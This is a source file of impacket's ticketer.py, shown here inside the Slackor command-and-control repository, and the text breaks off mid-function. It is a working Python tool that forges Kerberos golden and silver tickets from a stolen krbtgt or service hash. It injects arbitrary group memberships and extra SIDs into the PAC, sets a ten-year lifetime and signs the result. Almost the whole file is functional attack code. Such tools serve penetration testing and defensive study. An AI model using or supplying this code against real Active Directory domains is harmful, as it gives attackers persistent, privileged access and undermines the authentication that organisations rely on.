github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/ticketer.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: 9 # Alberto Solino (@agsolino) 10 # 11 # Description: 12 # This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) 13 # allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the 14 # groups, extrasids, etc. 15 # Tickets duration is fixed to 10 years from now (although you can manually change it) 16 # 17 # References: 18 # Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: 19 # (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) 20 # Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz 21 # (https://github.com/gentilkiwi/mimikatz) 22 # 23 # Examples: 24 # ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser 25 # 26 # will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. 27 # If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 28 # (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as 29 # baduser.ccache. 30 # 31 # ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> 32 # -request -user <a valid domain user> -password <valid domain user's password> baduser 33 # 34 # will first authenticate against the KDC (using -user/-password) and get a TGT that will be used 35 # as template for customization. Whatever encryption algorithms used on that ticket will be honored, 36 # hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved 37 # as baduser.ccache. 38 # 39 # ToDo: 40 # [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh 41 # [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC 42 # 43 from __future__ import division 44 from __future__ import print_function 45 import argparse 46 import datetime 47 import logging 48 import random 49 import string 50 import sys 51 from calendar import timegm 52 from time import strptime 53 from binascii import unhexlify 54 55 from pyasn1.codec.der import encoder, decoder 56 from pyasn1.type.univ import noValue 57 58 from impacket import version 59 from impacket.dcerpc.v5.dtypes import RPC_SID 60 from impacket.dcerpc.v5.ndr import NDRULONG 61 from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ 62 SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD 63 from impacket.examples import logger 64 from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart 65 from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ 66 PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ 67 KERB_NON_KERB_CKSUM_SALT 68 from impacket.krb5.crypto import Key, _enctype_table 69 from impacket.krb5.crypto import _checksum_table, Enctype 70 from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ 71 PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ 72 VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO 73 from impacket.krb5.types import KerberosTime, Principal 74 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 75 76 77 class TICKETER: 78 def __init__(self, target, password, domain, options): 79 self.__password = password 80 self.__target = target 81 self.__domain = domain 82 self.__options = options 83 if options.spn: 84 spn = options.spn.split('/') 85 self.__service = spn[0] 86 self.__server = spn[1] 87 88 # we are creating a golden ticket 89 else: 90 self.__service = 'krbtgt' 91 self.__server = self.__domain 92 93 @staticmethod 94 def getFileTime(t): 95 t *= 10000000 96 t += 116444736000000000 97 return t 98 99 def createBasicValidationInfo(self): 100 # 1) KERB_VALIDATION_INFO 101 kerbdata = KERB_VALIDATION_INFO() 102 103 aTime = timegm(datetime.datetime.utcnow().timetuple()) 104 unixTime = self.getFileTime(aTime) 105 106 kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff 107 kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 108 109 # LogoffTime: A FILETIME structure that contains the time the client's logon 110 # session should expire. If the session should not expire, this structure 111 # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 112 # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 113 # an indicator of when to warn the user that the allowed time is due to expire. 114 kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF 115 kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF 116 117 # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 118 # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 119 # client should not be logged off, this structure SHOULD have the dwHighDateTime 120 # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 121 # The Kerberos service ticket end time is a replacement for KickOffTime. 122 # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 123 # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 124 # of when the client should be forcibly disconnected. 125 kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF 126 kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF 127 128 kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff 129 kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32 130 131 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 132 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 133 134 # PasswordMustChange: A FILETIME structure that contains the time at which 135 # theclient's password expires. If the password will not expire, this 136 # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 137 # dwLowDateTime member set to 0xFFFFFFFF. 138 kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF 139 kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF 140 141 kerbdata['EffectiveName'] = self.__target 142 kerbdata['FullName'] = '' 143 kerbdata['LogonScript'] = '' 144 kerbdata['ProfilePath'] = '' 145 kerbdata['HomeDirectory'] = '' 146 kerbdata['HomeDirectoryDrive'] = '' 147 kerbdata['LogonCount'] = 500 148 kerbdata['BadPasswordCount'] = 0 149 kerbdata['UserId'] = int(self.__options.user_id) 150 kerbdata['PrimaryGroupId'] = 513 151 152 # Our Golden Well-known groups! :) 153 groups = self.__options.groups.split(',') 154 kerbdata['GroupCount'] = len(groups) 155 156 for group in groups: 157 groupMembership = GROUP_MEMBERSHIP() 158 groupId = NDRULONG() 159 groupId['Data'] = int(group) 160 groupMembership['RelativeId'] = groupId 161 groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 162 kerbdata['GroupIds'].append(groupMembership) 163 164 kerbdata['UserFlags'] = 0 165 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 166 kerbdata['LogonServer'] = '' 167 kerbdata['LogonDomainName'] = self.__domain.upper() 168 kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid) 169 kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' 170 kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD 171 kerbdata['SubAuthStatus'] = 0 172 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 173 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 174 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 175 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 176 kerbdata['FailedILogonCount'] = 0 177 kerbdata['Reserved3'] = 0 178 179 kerbdata['ResourceGroupDomainSid'] = NULL 180 kerbdata['ResourceGroupCount'] = 0 181 kerbdata['ResourceGroupIds'] = NULL 182 183 validationInfo = VALIDATION_INFO() 184 validationInfo['Data'] = kerbdata 185 186 return validationInfo 187 188 def createBasicPac(self, kdcRep): 189 validationInfo = self.createBasicValidationInfo() 190 pacInfos = {} 191 pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() 192 srvCheckSum = PAC_SIGNATURE_DATA() 193 privCheckSum = PAC_SIGNATURE_DATA() 194 195 if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: 196 srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value 197 privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value 198 srvCheckSum['Signature'] = b'\x00' * 16 199 privCheckSum['Signature'] = b'\x00' * 16 200 else: 201 srvCheckSum['Signature'] = b'\x00' * 12 202 privCheckSum['Signature'] = b'\x00' * 12 203 if len(self.__options.aesKey) == 64: 204 srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value 205 privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value 206 else: 207 srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value 208 privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value 209 210 pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() 211 pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() 212 213 clientInfo = PAC_CLIENT_INFO() 214 clientInfo['Name'] = self.__target.encode('utf-16le') 215 clientInfo['NameLength'] = len(clientInfo['Name']) 216 pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() 217 218 return pacInfos 219 220 def createBasicTicket(self): 221 if self.__options.request is True: 222 if self.__domain == self.__server: 223 logging.info('Requesting TGT to target domain to use as basis') 224 else: 225 logging.info('Requesting TGT/TGS to target domain to use as basis') 226 227 if self.__options.hashes is not None: 228 lmhash, nthash = self.__options.hashes.split(':') 229 else: 230 lmhash = '' 231 nthash = '' 232 userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) 233 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 234 unhexlify(lmhash), unhexlify(nthash), None, 235 self.__options.dc_ip) 236 if self.__domain == self.__server: 237 kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] 238 else: 239 serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) 240 tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, 241 sessionKey) 242 kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 243 244 # Let's check we have all the necessary data based on the ciphers used. Boring checks 245 ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) 246 encPartCipher = int(kdcRep['enc-part']['etype']) 247 248 if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ 249 self.__options.nthash is None: 250 logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 251 'Can\'t continue ( or try running again w/o the -request option)') 252 return None, None 253 254 if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or 255 encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ 256 self.__options.aesKey is None: 257 logging.critical( 258 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 259 'Can\'t continue (or try running again w/o the -request option)') 260 return None, None 261 262 if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or 263 encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ 264 self.__options.aesKey is not None and len(self.__options.aesKey) > 32: 265 logging.critical( 266 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 267 'Can\'t continue (or try running again w/o the -request option)') 268 return None, None 269 270 if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or 271 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: 272 logging.critical( 273 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 274 'Can\'t continue (or try running again w/o the -request option)') 275 return None, None 276 277 if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or 278 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ 279 self.__options.aesKey is not None and len(self.__options.aesKey) < 64: 280 logging.critical( 281 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 282 'Can\'t continue') 283 return None, None 284 kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 285 kdcRep['cname']['name-string'] = noValue 286 kdcRep['cname']['name-string'][0] = self.__target 287 288 else: 289 logging.info('Creating basic skeleton ticket and PAC Infos') 290 if self.__domain == self.__server: 291 kdcRep = AS_REP() 292 kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value 293 else: 294 kdcRep = TGS_REP() 295 kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value 296 kdcRep['pvno'] = 5 297 if self.__options.nthash is None: 298 kdcRep['padata'] = noValue 299 kdcRep['padata'][0] = noValue 300 kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value 301 302 etype2 = ETYPE_INFO2() 303 etype2[0] = noValue 304 if len(self.__options.aesKey) == 64: 305 etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value 306 else: 307 etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value 308 etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) 309 encodedEtype2 = encoder.encode(etype2) 310 311 kdcRep['padata'][0]['padata-value'] = encodedEtype2 312 313 kdcRep['crealm'] = self.__domain.upper() 314 kdcRep['cname'] = noValue 315 kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 316 kdcRep['cname']['name-string'] = noValue 317 kdcRep['cname']['name-string'][0] = self.__target 318 319 kdcRep['ticket'] = noValue 320 kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value 321 kdcRep['ticket']['realm'] = self.__domain.upper() 322 kdcRep['ticket']['sname'] = noValue 323 kdcRep['ticket']['sname']['name-string'] = noValue 324 kdcRep['ticket']['sname']['name-string'][0] = self.__service 325 326 if self.__domain == self.__server: 327 kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value 328 kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() 329 else: 330 kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 331 kdcRep['ticket']['sname']['name-string'][1] = self.__server 332 333 kdcRep['ticket']['enc-part'] = noValue 334 kdcRep['ticket']['enc-part']['kvno'] = 2 335 kdcRep['enc-part'] = noValue 336 if self.__options.nthash is None: 337 if len(self.__options.aesKey) == 64: 338 kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value 339 kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value 340 else: 341 kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value 342 kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value 343 else: 344 kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value 345 kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value 346 347 kdcRep['enc-part']['kvno'] = 2 348 kdcRep['enc-part']['cipher'] = noValue 349 350 pacInfos = self.createBasicPac(kdcRep) 351 352 return kdcRep, pacInfos 353 354 def customizeTicket(self, kdcRep, pacInfos): 355 logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) 356 encTicketPart = EncTicketPart() 357 358 flags = list() 359 flags.append(TicketFlags.forwardable.value) 360 flags.append(TicketFlags.proxiable.value) 361 flags.append(TicketFlags.renewable.value) 362 if self.__domain == self.__server: 363 flags.append(TicketFlags.initial.value) 364 flags.append(TicketFlags.pre_authent.value) 365 encTicketPart['flags'] = encodeFlags(flags) 366 encTicketPart['key'] = noValue 367 encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] 368 369 if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: 370 encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) 371 elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: 372 encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) 373 else: 374 encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) 375 376 encTicketPart['crealm'] = self.__domain.upper() 377 encTicketPart['cname'] = noValue 378 encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 379 encTicketPart['cname']['name-string'] = noValue 380 encTicketPart['cname']['name-string'][0] = self.__target 381 382 encTicketPart['transited'] = noValue 383 encTicketPart['transited']['tr-type'] = 0 384 encTicketPart['transited']['contents'] = '' 385 386 encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) 387 encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) 388 # Let's extend the ticket's validity a lil bit 389 ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) 390 encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) 391 encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) 392 encTicketPart['authorization-data'] = noValue 393 encTicketPart['authorization-data'][0] = noValue 394 encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value 395 encTicketPart['authorization-data'][0]['ad-data'] = noValue 396 397 # Let's locate the KERB_VALIDATION_INFO and Checksums 398 if PAC_LOGON_INFO in pacInfos: 399 data = pacInfos[PAC_LOGON_INFO] 400 validationInfo = VALIDATION_INFO() 401 validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) 402 lenVal = len(validationInfo.getData()) 403 validationInfo.fromStringReferents(data[lenVal:], lenVal) 404 405 aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) 406 407 unixTime = self.getFileTime(aTime) 408 409 kerbdata = KERB_VALIDATION_INFO() 410 411 kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff 412 kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 413 414 # Let's adjust username and other data 415 validationInfo['Data']['LogonDomainName'] = self.__domain.upper() 416 validationInfo['Data']['EffectiveName'] = self.__target 417 # Our Golden Well-known groups! :) 418 groups = self.__options.groups.split(',') 419 validationInfo['Data']['GroupIds'] = list() 420 validationInfo['Data']['GroupCount'] = len(groups) 421 422 for group in groups: 423 groupMembership = GROUP_MEMBERSHIP() 424 groupId = NDRULONG() 425 groupId['Data'] = int(group) 426 groupMembership['RelativeId'] = groupId 427 groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 428 validationInfo['Data']['GroupIds'].append(groupMembership) 429 430 # Let's add the extraSid 431 if self.__options.extra_sid is not None: 432 extrasids = self.__options.extra_sid.split(',') 433 if validationInfo['Data']['SidCount'] == 0: 434 # Let's be sure user's flag specify we have extra sids. 435 validationInfo['Data']['UserFlags'] |= 0x20 436 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() 437 for extrasid in extrasids: 438 validationInfo['Data']['SidCount'] += 1 439 440 sidRecord = KERB_SID_AND_ATTRIBUTES() 441 442 sid = RPC_SID() 443 sid.fromCanonical(extrasid) 444 445 sidRecord['Sid'] = sid 446 sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 447 448 # And, let's append the magicSid 449 validationInfo['Data']['ExtraSids'].append(sidRecord) 450 else: 451 validationInfo['Data']['ExtraSids'] = NULL 452 453 validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() 454 pacInfos[PAC_LOGON_INFO] = validationInfoBlob 455 456 if logging.getLogger().level == logging.DEBUG: 457 logging.debug('VALIDATION_INFO after making it gold') 458 validationInfo.dump() 459 print ('\n') 460 else: 461 raise Exception('PAC_LOGON_INFO not found! Aborting') 462 463 logging.info('\tPAC_LOGON_INFO') 464 465 # Let's now clear the checksums 466 if PAC_SERVER_CHECKSUM in pacInfos: 467 serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) 468 if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 469 serverChecksum['Signature'] = '\x00' * 12 470 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 471 serverChecksum['Signature'] = '\x00' * 12 472 else: 473 serverChecksum['Signature'] = '\x00' * 16 474 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() 475 else: 476 raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') 477 478 if PAC_PRIVSVR_CHECKSUM in pacInfos: 479 privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) 480 privSvrChecksum['Signature'] = '\x00' * 12 481 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 482 privSvrChecksum['Signature'] = '\x00' * 12 483 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 484 privSvrChecksum['Signature'] = '\x00' * 12 485 else: 486 privSvrChecksum['Signature'] = '\x00' * 16 487 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() 488 else: 489 raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') 490 491 if PAC_CLIENT_INFO_TYPE in pacInfos: 492 pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) 493 pacClientInfo['ClientId'] = unixTime 494 pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() 495 else: 496 raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') 497 498 logging.info('\tPAC_CLIENT_INFO_TYPE') 499 logging.info('\tEncTicketPart') 500 501 if self.__domain == self.__server: 502 encRepPart = EncASRepPart() 503 else: 504 encRepPart = EncTGSRepPart() 505 506 encRepPart['key'] = noValue 507 encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] 508 encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] 509 encRepPart['last-req'] = noValue 510 encRepPart['last-req'][0] = noValue 511 encRepPart['last-req'][0]['lr-type'] = 0 512 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) 513 encRepPart['nonce'] = 123456789 514 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) 515 encRepPart['flags'] = encodeFlags(flags) 516 encRepPart['authtime'] = str(encTicketPart['authtime']) 517 encRepPart['endtime'] = str(encTicketPart['endtime']) 518 encRepPart['starttime'] = str(encTicketPart['starttime']) 519 encRepPart['renew-till'] = str(encTicketPart['renew-till']) 520 encRepPart['srealm'] = self.__domain.upper() 521 encRepPart['sname'] = noValue 522 encRepPart['sname']['name-string'] = noValue 523 encRepPart['sname']['name-string'][0] = self.__service 524 525 if self.__domain == self.__server: 526 encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value 527 encRepPart['sname']['name-string'][1] = self.__domain.upper() 528 logging.info('\tEncAsRepPart') 529 else: 530 encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 531 encRepPart['sname']['name-string'][1] = self.__server 532 logging.info('\tEncTGSRepPart') 533 534 return encRepPart, encTicketPart, pacInfos 535 536 def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): 537 logging.info('Signing/Encrypting final ticket') 538 539 # We changed everything we needed to make us special. Now let's repack and calculate checksums 540 validationInfoBlob = pacInfos[PAC_LOGON_INFO] 541 validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) 542 543 pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] 544 pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) 545 546 serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) 547 serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] 548 serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) 549 550 privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) 551 privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] 552 privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) 553 554 # The offset are set from the beginning of the PAC_TYPE 555 # [MS-PAC] 2.4 PAC_INFO_BUFFER 556 offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 557 558 # Let's build the PAC_INFO_BUFFER for each one of the elements 559 validationInfoIB = PAC_INFO_BUFFER() 560 validationInfoIB['ulType'] = PAC_LOGON_INFO 561 validationInfoIB['cbBufferSize'] = len(validationInfoBlob) 562 validationInfoIB['Offset'] = offsetData 563 offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 564 565 pacClientInfoIB = PAC_INFO_BUFFER() 566 pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE 567 pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) 568 pacClientInfoIB['Offset'] = offsetData 569 offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 570 571 serverChecksumIB = PAC_INFO_BUFFER() 572 serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM 573 serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) 574 serverChecksumIB['Offset'] = offsetData 575 offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 576 577 privSvrChecksumIB = PAC_INFO_BUFFER() 578 privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM 579 privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) 580 privSvrChecksumIB['Offset'] = offsetData 581 # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 582 583 # Building the PAC_TYPE as specified in [MS-PAC] 584 buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ 585 privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ 586 pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment 587 buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment 588 589 pacType = PACTYPE() 590 pacType['cBuffers'] = 4 591 pacType['Version'] = 0 592 pacType['Buffers'] = buffers + buffersTail 593 594 blobToChecksum = pacType.getData() 595 596 checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] 597 if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 598 keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) 599 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 600 keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) 601 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: 602 keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) 603 else: 604 raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) 605 606 checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] 607 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 608 keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) 609 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 610 keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) 611 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: 612 keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) 613 else: 614 raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) 615 616 serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) 617 logging.info('\tPAC_SERVER_CHECKSUM') 618 privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) 619 logging.info('\tPAC_PRIVSVR_CHECKSUM') 620 621 buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment 622 pacType['Buffers'] = buffers + buffersTail 623 624 authorizationData = AuthorizationData() 625 authorizationData[0] = noValue 626 authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value 627 authorizationData[0]['ad-data'] = pacType.getData() 628 authorizationData = 